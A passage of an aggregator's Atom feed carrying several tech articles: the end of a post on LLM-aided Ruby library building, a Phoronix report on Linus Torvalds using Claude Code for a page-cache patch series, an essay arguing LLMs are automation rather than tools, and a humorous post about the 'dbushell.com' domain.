a document taking double-digit milliseconds.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/zoolutions/stationery&quot;&gt;stationery&lt;/a&gt; by Mikael Henriksson takes a different approach - one closer to Prawn, with a healthy dose of &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.phlex.fun&quot;&gt;Phlex&lt;/a&gt; thrown in. It readily accepts the fact that a PDF is just… text - and, therefore, should be unashamedly output from any tool that is able to write a text file somewhere. It adapts Phlex-y view components and blocks, wraps them with some delightful layout primitives - and the result is an even more Ruby-spirited way to output PDFs, with performance comparable to the Rust motor of sghtmltopdf.&lt;/p&gt;
&lt;p&gt;I was able to retool to both in a very short timespan, and still have a bit of difficulty picking one. We went from “absolute wasteland with all available options being very bad” to “you can pick between two great options”, very quickly.&lt;/p&gt;
&lt;h2&gt;We do things because we want to&lt;/h2&gt;
&lt;p&gt;And it does not stop at PDFs. There are Qt bindings in development again - decent, &lt;em&gt;big&lt;/em&gt; Qt bindings. Something that was horrible in Ruby for as long as I remember it existing. Schwad has resurrected Shoes in the form of &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/scarpe-team/scarpe&quot;&gt;Scarpe&lt;/a&gt; - not as a bleak Java jar requiring SWT, JRuby and the kitchen sink but as a proper graphics backend driven from Ruby scripts, all with native graphics. RMagick is having regular releases again and working beautifully. The &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/ggerman/ruby-libgd&quot;&gt;GD bindings&lt;/a&gt; are being worked on.&lt;/p&gt;
&lt;p&gt;On my end - I have been confronted with some sizeable ETL projects that involved Rails, and a pain point I would always stumble into was Parquet. It was just not possible to output it easily from a Rails app - we always had to either downgrade to CSVs, or rig some weird CDC pipeline that would bypass the app altogether, just for the sake of producing a data lake. My opinion at the time was that Parquet is grossly overengineered, while you can do CSV with a blunt fork. And that it was a pain to work with in any environment which was not 100% Apache-big-data-culture native (read: not C++, Java or Python).&lt;/p&gt;
&lt;p&gt;And that irked me. No, it can’t be that “our little toy language is just too slow and too small and who cares about it anyway” - Parquet files are just bytes. Another homegrown swizzled-and-zigzagged byte encoding convention, struct repeats, pluggable compression modules and native-width types, plus some facilities for encoding… it’s just &lt;em&gt;convoluted.&lt;/em&gt; It is not so special as to require native code, and not so big as to require a whole &lt;em&gt;shelf of JARs&lt;/em&gt; - it was just too big of a bother to address. The few libraries that did exist handled it through linking with &lt;code&gt;GObject&lt;/code&gt; and who knows what else. And that desert lasted for more than a decade. Now I was able to build a full Parquet library - &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/julik/herringbone&quot;&gt;herringbone&lt;/a&gt; - in the span of a few days. Something that used to be a drag of a problem with Rails ETL is just a non-issue - there is a Ruby library that is convenient for both humans and agents, it streams, it uses native compression modules where appropriate, and it requires minimal user code - even with some fairly advanced things like Parquet encryption.&lt;/p&gt;
&lt;p&gt;No, you can’t really one-shot such a library yet. You do need to know what you want, and you do need to iterate so that it becomes polished and fast. Or, to say it differently: you will one-shot it, but the result won’t be aesthetically good. Ruby stuff has to look (and feel) good. Now I no longer have to spend days figuring out the intricacies of Thrift bit packing (I don’t miss that crap either) - I can design the API top-down and guide the LLM through making it.&lt;/p&gt;
&lt;p&gt;Previously, producing a library like this would have taken me a few months. Producing &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/julik/zip_kit&quot;&gt;zip_kit&lt;/a&gt; took 3 months (amortized over a decade, with 2 months concentrated around its inception), and the Parquet spec is 5x the size of the ZIP APPNOTE document. If ZIP is an architectural alco-trip, Parquet is a fear-and-loathing type architecture astronautics adventure.&lt;/p&gt;
&lt;p&gt;That’s not to mention the 6 or so micro-libraries I had to knock out just for calling some cloud services that didn’t bother providing Ruby SDKs. Or at least 2 feature flag service libraries that I know are both of questionable quality and/or packaging, and could very well use some reversing and redoing, in style.&lt;/p&gt;
&lt;h2&gt;We do things because we need to&lt;/h2&gt;
&lt;p&gt;Another characteristic pain point with Ruby and Rails apps has been gRPC. I have yet to see a Rubyist who had to use gRPC in anger and had 0 issues with it. Hanging threads, fork unfriendliness, weird protobuf compatibility issues… the list goes on and on. Now Samuel just goes and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/socketry/async-grpc&quot;&gt;redoes an Async-friendly gRPC&lt;/a&gt; - because we are no longer bound by the constraint of “big team at X is maintaining this thing and they got reorged for the 6th time this year, and nobody would ever be able to figure it out”. We can front-load the damn thing into the LLM wood chipper and have it help us figure it out, and then do it the way it should have been done from the beginning.&lt;/p&gt;
&lt;p&gt;Protobufs, which are the foundation of gRPC, are also not quite a walk in the park in the Ruby world. It seems very simple, &lt;em&gt;mundane&lt;/em&gt; even - how hard can it be to &lt;code&gt;pack&lt;/code&gt; a few bytes into a binary string?&lt;/p&gt;
&lt;p&gt;Turns out - you can make it as hard as the headcount of staff/principal engineers across your teams permits. The official Ruby protobuf gem requires native code. Every proto message is a handle to a native object, which cannot be marshalled or dispatched to another process easily. Introspection is limited and has a weird API. You need a separate package (&lt;code&gt;protoc&lt;/code&gt;, the protobuf compiler) just to convert a &lt;code&gt;.proto&lt;/code&gt; file into a Ruby file with some boilerplate in it denoting the fields you carry. It is, honestly, an utter overkill of a juggernaut for what amounts to a &lt;code&gt;Marshal.dump&lt;/code&gt; - with a whole heap of native, compiled code to drag along.&lt;/p&gt;
&lt;p&gt;And native code requires compilation. And ABI-compatible prebuilt gems for several platforms × versions of Ruby you need to support. And the recommended Ruby C API changes from version to version. And it hampers GC unless you are very, very careful, and requires meticulous GVL management to be performant…&lt;/p&gt;
&lt;p&gt;Should we just cope with this and see this as normal? That’s the next target. If you want it too - get in touch, I might have something for you to play with.&lt;/p&gt;
&lt;h2&gt;Damn lies, but statistics&lt;/h2&gt;
&lt;p&gt;Anecdotes are nice, but I wanted to check whether what I am seeing is just a bubble of my own timeline. So I went to the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://clickhouse.com/blog/announcing-ruby-gem-analytics-powered-by-clickhouse&quot;&gt;rubygems dataset that ClickHouse hosts&lt;/a&gt; and counted something very dumb: how many gem &lt;em&gt;names&lt;/em&gt; got occupied for the first time in the last twelve months, versus the twelve months before that. Not downloads, not versions - just “a name that did not exist on rubygems.org, and now does”.&lt;/p&gt;
&lt;p&gt;The raw number is nonsense - it includes a few thousand yanked typosquats and a handful of accounts emitting a gem per API endpoint - so out went everything that is not indexed, and out went every prefix family of 20+ gems coming from three or fewer accounts. What is left is the boring, organic, one-off stuff - &lt;code&gt;sidekiq-buffered&lt;/code&gt;, &lt;code&gt;schema_reaper&lt;/code&gt;, &lt;code&gt;k8s-rails&lt;/code&gt;, &lt;code&gt;rspec-hopper&lt;/code&gt;. Of that there were about 4,600 in the year to October 2025, and about 8,900 in the year since: &lt;em&gt;1.9 times more.&lt;/em&gt; The line sat at roughly 400 to 500 a month through all of 2025 and then jumped to 800 to 1,600 a month from March 2026 onwards. It is not a slope, it is a step.&lt;/p&gt;
&lt;p&gt;That is the abundance of software everyone keeps talking about, and it has reached our toy little language too. I can’t tell you whether these are new people or the same people on a hot streak - the data doesn’t know, and neither do I - but twice as often, the thing someone needed got packaged and published rather than shrugged off with The Spell Of Dread. Make of the quality what you will - some of it is garbage, some of it is &lt;code&gt;herringbone&lt;/code&gt;, and I will let you decide which is which - but the decision to &lt;em&gt;build the thing at all&lt;/em&gt; is being made twice as often as a year ago. That is the renaissance I am talking about.&lt;/p&gt;
&lt;h2&gt;No excuses&lt;/h2&gt;
&lt;p&gt;And it is not only libraries. Performance is a superb topic to tackle. The work &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/rubys/roundhouse&quot;&gt;Sam Ruby is doing&lt;/a&gt; on his Roundhouse cross-compiler is formidable, and can get us faster-running applications with some wild brute-force optimizations nobody thought possible. Tobi goes in and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/tobi/campfire-once-ruby-ractor&quot;&gt;redoes Campfire with vanilla Ruby instead of Rails&lt;/a&gt; - Falcon, Ractors, plain modules over SQLite, byte-identical HTML - and gets pages served 15 to 27 times faster…&lt;/p&gt;
&lt;p&gt;And all of that makes life better for everyone doing Ruby and Rails, &lt;em&gt;today.&lt;/em&gt; Not “in a year when LLMs will catch up” or “your CISO finally approves GitHub Copilot”. Not “in a few months once we have our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/mosscap/governance&quot;&gt;governance strategy&lt;/a&gt; figured out”. Today.&lt;/p&gt;
&lt;p&gt;We can literally go and fix the stuff that was extremely annoying for years, quickly, for relatively modest amounts of money.&lt;/p&gt;
&lt;p&gt;The only thing we need is to be even moderately curious, instead of waiting for permission. Nobody in Berlin in 1925 was waiting for the Kaiser to come back and approve the cabaret - the Kaiser had retired to the Netherlands, and the cabaret was &lt;em&gt;better&lt;/em&gt; for it.&lt;/p&gt;
&lt;p&gt;We have work to do. He doesn’t:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Sir, I&#39;m already rich. The last thing I want is more customers 😂&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://x.com/dhh/status/2090138454839439830&quot;&gt;August 19, 2026&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:6d0ad69bc908d0d8896942fa3ed0843061365c29</id>
    <title type="text">Linus Torvalds Working On A Hefty Linux Kernel Improvement With Claude Code</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-12-linus-torvalds-working-on-a-hefty-linux-kernel-improvement/"/>
    <link rel="via" type="text/html" href="https://www.phoronix.com/news/Linus-Torvalds-Claude-Code"/>
    <published>2026-10-12T10:11:29+00:00</published>
    <updated>2026-10-12T10:11:29+00:00</updated>
    <author>
      <name>phoronix.com via oceanhaiyang</name>
    </author>
    <category term="news"/>
    <category term="linux"/>
    <category term="vibecoding"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://www.phoronix.com/assets/categories/linuxkernel.webp&quot; alt=&quot;LINUX KERNEL&quot; loading=&quot;eager&quot; decoding=&quot;async&quot; fetchpriority=&quot;high&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;Linux creator Linus Torvalds has been known to &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.phoronix.com/news/Linus-Torvalds-Debug-AI&quot;&gt;use AI to help with kernel debugging&lt;/a&gt; and outside of the kernel tree has also done &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.phoronix.com/news/Linus-Torvalds-Vide-Coding&quot;&gt;some vibe coding with Google&#39;s Antigravity&lt;/a&gt;. He has previously said &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.phoronix.com/news/Linux-Is-Not-Anti-AI&quot;&gt;he views AI as a useful tool&lt;/a&gt;. It turns out he&#39;s even now using Claude Code for working on new Linux kernel features.&lt;/p&gt;
&lt;p&gt;While waiting for the Linux 7.3-rc7 kernel release and refreshing his &lt;em&gt;torvalds/linux.git&lt;/em&gt; repository, I was surprised to find a new kernel branch appear. Typically Torvalds isn&#39;t doing much work on branches in his main repository and typically just hosting the &lt;em&gt;master&lt;/em&gt; branch.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://www.phoronix.net/image.php?id=2026&amp;amp;image=linux_llm_branch&quot; alt=&quot;noref-filemap-read-with-llm Git branch&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;The new branch to appear is &lt;em&gt;noref-filemap-read-with-llm&lt;/em&gt; and as implied by the &amp;quot;LLM&amp;quot; postfix, is some new kernel improvements he&#39;s been working on with the help of AI / LLMs. Claude Code in particular. The branched code is working on adapting the memory management code to read from the page cache without folio references.&lt;/p&gt;
&lt;p&gt;The code is working on addressing a Linux issue of small reads of one file from many threads contend on the folio reference counting. So the goal of the branch / patch series is to read from the page cache without folio references.&lt;/p&gt;
&lt;p&gt;For those passionate about AI for loving or hating it, in the main &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?h=noref-filemap-read-with-llm&amp;amp;id=4c0f3697118eb3a708ea79175f7f07c43339bfab&quot;&gt;patch message&lt;/a&gt; Linus Torvalds confirmed his AI use in creating this work and related testing and even the initial draft of the cover letter:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;quot;The code, the test programs, the review behind the list above and the first draft of this text were done with an LLM coding assistant (Claude Code) under my direction. The measurements were run on my machine.&amp;quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And for the impact on this situation of addressing the bottleneck of small reads of one file from many threads, the impact of the series is significant:&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://www.phoronix.net/image.php?id=2026&amp;amp;image=linus_llm_performance&quot; alt=&quot;performance results of Linus Torvalds AI code&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;Quite a difference. The patches are currently on Torvalds&#39; &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/log/?h=noref-filemap-read-with-llm&quot;&gt;noref-filemap-read-with-llm Git branch&lt;/a&gt;. We&#39;ll see if he merges his branch for the upcoming Linux 7.4 merge window.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Some additional AI kernel usage by Torvalds with &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.phoronix.com/news/Linus-Torvalds-Assoc-Array&quot;&gt;Linus Torvalds &amp;quot;Did What I Preach&amp;quot;, Used AI To Make Code Decipherable &amp;amp; Uncovered More Bugs&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:82abbd594ae289a27b21cc440b254d2a2d9b4914</id>
    <title type="text">&#39;AI&#39; is Not a Tool</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-12-ai-is-not-a-tool/"/>
    <link rel="via" type="text/html" href="https://www.linkedin.com/pulse/ai-tool-rich-hickey-kjl8e"/>
    <published>2026-10-12T01:18:09+00:00</published>
    <updated>2026-10-12T01:18:09+00:00</updated>
    <author>
      <name>linkedin.com via regulator</name>
    </author>
    <category term="news"/>
    <category term="vibecoding"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;(I keep delivering this as a quip, here&#39;s a bit more)&lt;/p&gt;
&lt;p&gt;First order of business - is &#39; tool &#39; going to have an interesting, distinguishing and thus illuminative meaning or be a mere platitudinous stand-in for &amp;quot;anything useful&amp;quot;?&lt;/p&gt;
&lt;p&gt;We&#39;ll save tool as &amp;quot;anyone/thing that can be exploited&amp;quot; for the AI titans, for whom VCs, politicians, wannabe-titan-CEOs, software devs, rural towns etc are all &#39;tools&#39;. The pockets on the front of my shirts are useful (I need to keep my reading glasses handy), but they are not tools. Similarly, fast food drive-thru windows are useful, but are not tools (more later).&lt;/p&gt;
&lt;p&gt;Some definitions of &#39; tool &#39;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a device or implement, especially one held in the hand, used to carry out a particular function&lt;/li&gt;
&lt;li&gt;an instrument (such as a hammer or saw) used or worked by hand : an instrument used by a handicraftsperson or laborer in their work&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What I like best - A tool is something you wield.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;wield - to use (as a tool or instrument) especially with full command or power : handle, manipulate, control&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Especially useful in that are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Held in your hand - a source of both control and feedback, and an indication of the intimacy of the act of use&lt;/li&gt;
&lt;li&gt;Power - force, energy transmission and direction, leverage etc&lt;/li&gt;
&lt;li&gt;Control - intention and continuous directing of the course of events&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tools are implements with which you do something, they do not do things for you. Tool use builds, rewards, and often requires, expertise and skill. The continuous application of technique and energy, and sensory feedback, are essential to the buildup of expertise (from experiri - &amp;quot;try&amp;quot;).&lt;/p&gt;
&lt;p&gt;Good tools have many properties LLMs lack - they are predictable, reliable, deterministic, of bounded function, hopefully simple etc.&lt;/p&gt;
&lt;p&gt;What you learn while wielding a tool is something about the world, the task, the physics, logic etc of what you are trying to do or the situation you are trying to overcome. And often, something about yourself.&lt;/p&gt;
&lt;p&gt;As a lifelong tool builder and user, I know what tools are. LLMs are not tools.&lt;/p&gt;
&lt;p&gt;Control, sensory feedback, intention, intimacy, continuous direction, expertise etc are all missing from LLM use. LLMs are not wielded. LLMs are automation.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;automation - (of a device or process) working by itself with little or no direct human control.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A drive-thru is not a tool for cooking, it is automation for avoiding cooking. LLMs are not tools with which you write code - they are automation with which you avoid writing code, to which you abdicate writing code.&lt;/p&gt;
&lt;p&gt;You don&#39;t direct the action of an LLM - you make requests and it acts on its own, without your energy or continuous direction. This request/automation cycle is not wielding, it&#39;s not control, it&#39;s not continuous, it&#39;s without feedback.&lt;/p&gt;
&lt;p&gt;What you are doing while using automation, instead of learning real-world truths, is attempting to divine the details du jour of some automaton. And striving to game them - e.g. ordering a custom burger (no onions) in order to get a freshly made one. Or filling voodoo.md with just the right incantations. You are only a software update from everything you&#39;ve &#39;learned&#39; being rendered obsolete by the latest algorithm. (A soggy cold burger from which the onions have been removed) You have traded working with the world to working for a capricious robot.&lt;/p&gt;
&lt;p&gt;It is a mistake to be haphazard about &amp;quot;tools&amp;quot; being equivalent to utility, e.g. saying - &amp;quot;the LLM didn&#39;t write my paper, I just used it as a tool to read and summarize some research papers&amp;quot;. But you didn&#39;t wield it to read those papers (as you might a Kindle). It read the papers, not you.&lt;/p&gt;
&lt;p&gt;What do you miss by abdicating doing the reading? Pretty much everything. First and foremost, you miss learning how to write from those who can. You miss learning how to formulate an argument. You miss noticing things. You miss loading your background mind with fodder for novel ideas. You miss building trust in some authors and suspicion of others. You miss all the jokes. You miss all of the edges. You miss learning how to think.&lt;/p&gt;
&lt;p&gt;Tools don&#39;t get &amp;quot;misaligned&amp;quot;, they don&#39;t &amp;quot;go rogue&amp;quot;, they don&#39;t &amp;quot;escape containment&amp;quot;, &amp;quot;conspire&amp;quot; etc.&lt;/p&gt;
&lt;p&gt;LLMs are not tools. I know many people use the phrase &amp;quot;just tools&amp;quot; simply to indicate &amp;quot;they are what you make of them&amp;quot;. Except that&#39;s not true. Automation has intrinsic properties and differences from tools that you ignore at your peril.&lt;/p&gt;
&lt;p&gt;Rich&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:ba2992755f8c90b264062e6af11ddcec86cf714b</id>
    <title type="text">D-Bus Hell</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-11-d-bus-hell/"/>
    <link rel="via" type="text/html" href="https://dbushell.com/2026/10/11/d-bus-hell/"/>
    <published>2026-10-11T20:36:07+00:00</published>
    <updated>2026-10-11T20:36:07+00:00</updated>
    <author>
      <name>dbushell.com via isuffix</name>
    </author>
    <category term="news"/>
    <category term="person"/>
    <category term="satire"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;The time has come to address the elephant in the comments.&lt;/p&gt;
&lt;p&gt;Whenever my blog hits a place with a comments section the most predictable comment I see — besides some variation of &lt;em&gt;“this idiot is utterly delusional!”&lt;/em&gt;† — is this one:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;lol I read the domain as “D-Bus Hell”&lt;/p&gt;
&lt;p&gt;Random commenter&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I’d prefer if they focused on my actual blog content but I can’t get annoyed at people for seeing the wrong words. There’s a reason &lt;code&gt;experts-exchange.com&lt;/code&gt; has a hyphen, and who can forget &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.bbc.co.uk/bbcthree/article/cbd0fd47-3f92-494e-8154-da08a565498e&quot;&gt;Susan’s party?&lt;/a&gt; I’d probably read “D-Bus Hell” myself, if I forgot my own name.&lt;/p&gt;
&lt;p&gt;† &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://drewdevault.com/blog/Why-is-HN-like-that/&quot;&gt;Why is Hacker News like that?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;But for the sake of the record I would like to point you to your nearest WHOIS tool:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Shell&quot;&gt;&lt;span class=&quot;syntax-source syntax-shell syntax-bash&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;$&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; whois dbushell.com&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Domain&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; Name: DBUSHELL.COM&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Creation&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; Date: 2004-05-14T22:51:48Z&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Don’t ask me what I was doing at ten minutes to midnight registering a domain name. Is there a more appropriate time? The significant point is the date: May 2004.&lt;/p&gt;
&lt;p&gt;That was 22 years ago.&lt;/p&gt;
&lt;p&gt;Now if I may direct your attention to the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/D-Bus&quot;&gt;D-Bus project Wikipedia page&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Release November 2006; 19 years ago&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/D-Bus#:~:text=November%C2%A02006%3B%2019%C2%A0years%20ago&quot;&gt;D-Bus&lt;/a&gt; - Wikipedia&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I rest my case.&lt;/p&gt;
&lt;p&gt;The D-Bus project doesn’t even have it’s own domain name, for crying out loud!&lt;/p&gt;
&lt;p&gt;So next time you see a post about D-Bus, maybe drop a comment saying: “reminds me of that dummy with a blog and a giant logo spelling out his full name!” Or something to that effect. (I’m joking, don’t do that.)&lt;/p&gt;
&lt;h2&gt;What’s in a name&lt;/h2&gt;
&lt;p&gt;To date I’ve resisted the siren call of &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Nominative_determinism&quot;&gt;nominative determinism&lt;/a&gt; so I can’t answer to whether D-Bus is actually hell or not. I considered writing a D-Bus review as a joke, but then I decided to watch paint dry. I’ve never heard Linux nerds express any strong opinions on the topic (for which they’re prone to do; see Systemd, Wayland, etc.)&lt;/p&gt;
&lt;p&gt;I did go down the Wikipedia rabbit hole of cognitive psychology and linguistics. There’s an interesting read on &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Rebracketing&quot;&gt;Rebracketing&lt;/a&gt; where a word like &lt;em&gt;“Hamburger”&lt;/em&gt; becomes &lt;em&gt;“ham + burger”&lt;/em&gt; which was altered from the origin: &lt;em&gt;“Hamburg + er”&lt;/em&gt;. This is a form of &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Folk_etymology&quot;&gt;Folk etymology&lt;/a&gt; where words can change due to unfamiliarity.&lt;/p&gt;
&lt;h3&gt;Etymology&lt;/h3&gt;
&lt;p&gt;My surname could simply come from “bushel”. An imperial unit of volume still favoured by fantasy novels, before the Trollocs attack and shit gets real. “Bushel” dates back to Middle English with origins in the Old French word “boissel”.&lt;/p&gt;
&lt;p&gt;At the risk of being part French, I’m inclined to believe an alternate theory that my name derives from &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Bossall&quot;&gt;“Bossall”&lt;/a&gt; a hamlet in North Yorkshire. But that would make me part Yorkshireman. I’m not sure which is worse.&lt;/p&gt;
&lt;p&gt;It’s not a very common surname. If this &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.geneanet.org/surnames/BUSHELL&quot;&gt;Geneanet heat map&lt;/a&gt; has any credibility, the name favours the south of England. That might support the French theory? Liverpool has the highest number of Bushells though.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Bushells&quot;&gt;Bushells&lt;/a&gt; is also an Australian brand of tea founded by tea dealer Alfred Bushell in 1883. Alfred was born in Worcestershire, England (pronounced: &lt;em&gt;Wrcstrshr&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Interestingly, Wikipedia notes:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;After the Norman conquest of England; the Domesday Book noted in 1086 that in seven of the twelve hundreds covering Worcestershire, the Crown had no authority.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Worcestershire&quot;&gt;Worcestershire&lt;/a&gt; - Wikipedia&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Domesday_Book&quot;&gt;Domesday Book&lt;/a&gt; always references Bossall (the Yorkshire hamlet) as &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Bossall#:~:text=The%20community%20is%20mentioned%20in%20the%20Domesday%20Book%20as%20Boscele%20and%20as%20Bosciale&quot;&gt;Boscele or Bosciale&lt;/a&gt;; names that are Anglo Saxon in origin.&lt;/p&gt;
&lt;p&gt;When I say “Bushell” over the phone my pronunciation is often mistaken for saying “Buchel”. Some sources say they’re from the same Anglo Saxon origin. These distribution maps for &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://forebears.io/surnames/bushell&quot;&gt;Bushell&lt;/a&gt; and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://forebears.io/surnames/buchel&quot;&gt;Buchel&lt;/a&gt; cast doubt on that idea (if Forebears data is accurate). “Büchel” also has different origins if you stick an umlaut on it.&lt;/p&gt;
&lt;p&gt;I suspect I’m dealing with multiple different names of Anglo Saxon and Norman origin. There are many spelling variations of “Bushell” and similar names in historic records (though few have survived). Most people were illiterate until recent decades so spelling variations are not surprising. It seems probable to me that whenever families adopted a spelling, a variation from the wrong lineage could’ve been written due to phonetic differences. Even if I traced my ancestry back hundreds of years, I’d likely reach a moment when a scribe wrote “Bushell” in some form and my ancestor just shrugged because he couldn’t read.&lt;/p&gt;
&lt;p&gt;The etymology of &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/David_%28name%29&quot;&gt;“David”&lt;/a&gt; is well known despite being much older. Its roots are Hebrew meaning “beloved” and has found its way across Judaism, Christianity, and Islam.&lt;/p&gt;
&lt;p&gt;D-Bus is “Desktop Bus” if you were too lazy to click the link.&lt;/p&gt;
&lt;h2&gt;What’s in a domain name&lt;/h2&gt;
